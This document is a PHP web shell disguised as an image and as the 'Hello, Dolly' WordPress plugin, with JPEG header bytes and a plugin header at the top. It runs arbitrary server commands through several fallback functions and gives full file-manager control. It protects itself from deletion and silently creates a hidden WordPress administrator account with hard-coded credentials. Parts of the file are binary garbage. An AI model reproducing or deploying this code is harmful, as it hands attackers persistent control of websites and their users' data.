ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÂ p " ÿÄ ÿÄ ÿÚ ÕÔË®
(% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @
..............................................................................................................................................................................
.............................................................................
ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÂ p " ÿÄ ÿÄ ÿÚ ÕÔË®
(% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @
..............................................................................................................................................................................
.............................................................................
PK ؚ\ѹg g index.phpnu [ Hello, Dolly in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
Text Domain: hello-dolly
*/
?>
&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath($current_dir)));
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath($current_dir)));
exit;
}
}
// Handle new folder creation
if (!empty($_POST['newfolder'])) {
$foldername = basename($_POST['newfolder']);
if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755);
}
}
// Handle new file creation
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '');
}
}
// Handle delete
if (!empty($_POST['delete'])) {
$target = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete'];
$backup_file = __DIR__ . DIRECTORY_SEPARATOR . 'wp-info.php';
if (realpath($target) === realpath(__FILE__) ||
realpath($target) === realpath($backup_file)) {
// Prevent deletion of main script and backup
file_put_contents($target, file_get_contents(__FILE__));
} else {
if (is_file($target)) {
unlink($target);
} elseif (is_dir($target)) {
deleteDirectory($target);
}
}
}
// Handle rename
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$old = $current_dir . DIRECTORY_SEPARATOR . $_POST['old'];
$new = $current_dir . DIRECTORY_SEPARATOR . $_POST['new'];
if (file_exists($old) && !file_exists($new)) {
rename($old, $new);
}
}
// Handle chmod
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$file = $current_dir . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
if (file_exists($file)) {
chmod($file, intval($_POST['chmod'], 8));
}
}
// Handle file editing
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$file = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
file_put_contents($file, $_POST['content']);
}
if ($redirect) {
header("Location: ?dir=" . urlencode(encodePath($current_dir)));
exit;
}
}
// Recursive directory deletion function
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
$items = scandir($dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
// Scan directory
$items = scandir($current_dir);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$folders[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => true,
'size' => '-',
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path)
];
} else {
$files[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => false,
'size' => filesize($full_path),
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path),
'extension' => pathinfo($item, PATHINFO_EXTENSION)
];
}
}
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) {
$editContent = htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile));
}
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
// WordPress user creation
$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
$search_paths = [$current_dir, dirname($current_dir), $ROOT];
foreach ($search_paths as $wp_path) {
if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
break;
} elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
break;
}
}
if (function_exists('wp_create_user')) {
$username = 'system';
$password = 'Bishal';
$email = 'system@hostinger.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$wp_message = "WordPress admin user created: $username / $password";
}
}
}
$_SESSION['wp_checked'] = true;
}
function formatBytes($bytes, $precision = 2) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
// Handle file viewing
if (isset($_GET['view'])) {
$view_file = $current_dir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($view_file)) {
$mime = mime_content_type($view_file);
header("Content-Type: " . $mime);
readfile($view_file);
exit;
}
}
?>
File Manager
";
}
unset($_SESSION['upload_messages']);
?>
Home /
' . htmlspecialchars($part) . ' / ';
}
?>
✏️
Editing: = htmlspecialchars($editFile) ?>
= count($folders) ?>
Folders
= formatBytes(array_sum(array_column($files, 'size'))) ?>
Total Size
📁
File Browser - = htmlspecialchars($current_dir) ?>
💾 Save
❌ Cancel
Gifari Industries © 2024 | BD Cyber Security TeamPK ؚ\ѹg g index.phpnu [ PK I